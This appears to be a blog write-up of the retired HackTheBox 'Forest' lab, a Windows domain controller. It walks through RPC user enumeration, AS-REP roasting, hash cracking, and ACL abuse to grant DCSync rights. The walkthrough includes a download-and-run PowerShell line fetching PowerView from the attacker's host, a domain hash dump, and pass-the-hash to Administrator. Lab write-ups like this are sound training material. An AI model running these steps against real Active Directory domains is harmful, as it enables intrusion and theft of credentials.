HackTheBox - Forest
OS | Difficulty | IP Address | Status |
---|---|---|---|
Windows | Easy | 10.10.10.161 | Retired |
This box maybe classified as an easy machine but takes prior knowledge to solve, made by egre55 and mrb3n on HackTheBox. We gain our foothold by enumerating RPC where we get usernames, then we will Kerberoast the usernames until we get a Kerberos ticket hash, then crack it and get in as the user. For privilege escalation, we will abuse Access Control List-based permission to add a new user, add the new user to a group that will enable us to get the Administrator hash; we will use Pass-The-Hash and login as Administrator.
Phase 1 - Enumeration
Nmap
As usual, we start phase one with nmap, to see what ports are opened.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-16 13:35:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h30m42s, deviation: 4h02m30s, median: 10m41s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2021-07-16T06:35:20-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-07-16T13:35:19
|_ start_date: 2021-07-16T07:07:42
A quick glance at the nmap results, we can tell right away that its a Windows machine running Active Directory which indicates that it is a domain controller. Also, the results show that the operating system is Windows Server 2016.
RPC
rpcclient -U "" -N 10.10.10.161
rpcclient $> enumdomusers
...
...
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
Through RPCClient, we get a few usernames, also one of the user (svc-alfresco) is a Domain Admin, which means that user has higher level privileges.
Phase 2 - Exploitation
AS-REP Roasting with Impacket
So let’s try Impacket’s GetBPUsers.py to see if we can get a Kerberos hash.
python3 GetNPUsers.py --no-pass -dc-ip 10.10.10.161 htb/svc-alfresco
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc[email protected]:8ae2335d8b1ee8340d19b5577220ba6c$60b28211b189343f297096f45cb5f9fd5e489eeb97873eca43383ed465247259fba7ef471e55bbadbb2659ac590eaf0f15a701e28d74d8f8a15a35770ab9cdfa1b8fb8e66608e5812dfc9068c2bf814df0b9e25f979035a582bdee2e8a5745ef09be73bf2a480b8214b247f33e476da73b385812f3fa21932fbba6bac1bafcc9ccc45cfbf5d7de8c7bd531449ab6984ff3ad01a156932c95970abe9295be6d62a069ce153a3933e7748eda90b737705b993f334463bb374d65ca36054078bdeb94e64aa391bbb2a997c5d
# NOTE: we have intentionally edited the below hash so other HackTheBox players don't copy it and cheat their way to user
Hash Cracking with Hashcat
Since we got a hash, let’s attempt to crack it.
hashcat -m 18200 svc-alfresco.kerb /usr/share/wordlists/rockyou.txt --force
RESULT: s3rvice
Now we have a username and password, let’s login, enumerate the user further to find a way to escalate our privileges.
evil-winrm.rb -i 10.10.10.161 -u svc-alfresco -p s3rvice
Info: Starting Evil-WinRM shell v1.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
Phase 3 - Privilege Escalation
Using a few different enumeration tools, we came to know that the user ‘svc-alfresco’ who is the part of Domain Admins, is also part of a special DC group called ‘Account Operators.’ Accounts in this special group enables its members to create accounts and add them to the ‘Exchange Windows Permissions Group.’
So, that exactly what we are going to do, we’ll use svc-alfresco to create a new account and add that account to the ‘Exchange Windows Permissions Group.’
# we create a new user account
net user potato 'Potato123' /add /domain
# and add the new account to the group
net group "Exchange Windows Permissions" /add potato
ACL-based Escalation
Once our new user in the Exchange Windows Permissions group, we can proceed to abuse the WriteDacl with PowerView to allow the newly created users to gain password hashes of other accounts.
# to copy over PowerView as it contains functions needed
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.89:8000/PowerView.ps1')
# creating a variable for plain password
$pass = ConvertTo-SecureString 'Potato123' -AsPlainText -Force
# encoding our password variable
$cred = New-Object System.Management.Automation.PSCredential('HTB\potato', $pass)
# loading the PowerView script to execute its functions
Import-Module .\PowerView.ps1
# PowerView function to execute ACL-based privilege escalation
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity potato -Rights DCSync
Once the above is ran, we can use Impacket’s SecretsDump.py to dump hashes of all existing users, including the Administrator.
python3 secretsdump.py htb.lcoal/potato:[email protected]
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...
And there we have it, we got the Administrator’s password hash; let’s attempt to login using pass-the-hash instead of cracking the hash.
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 htb.local/[email protected]
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
htb\administrator
We are now Administrator.
Post a Comment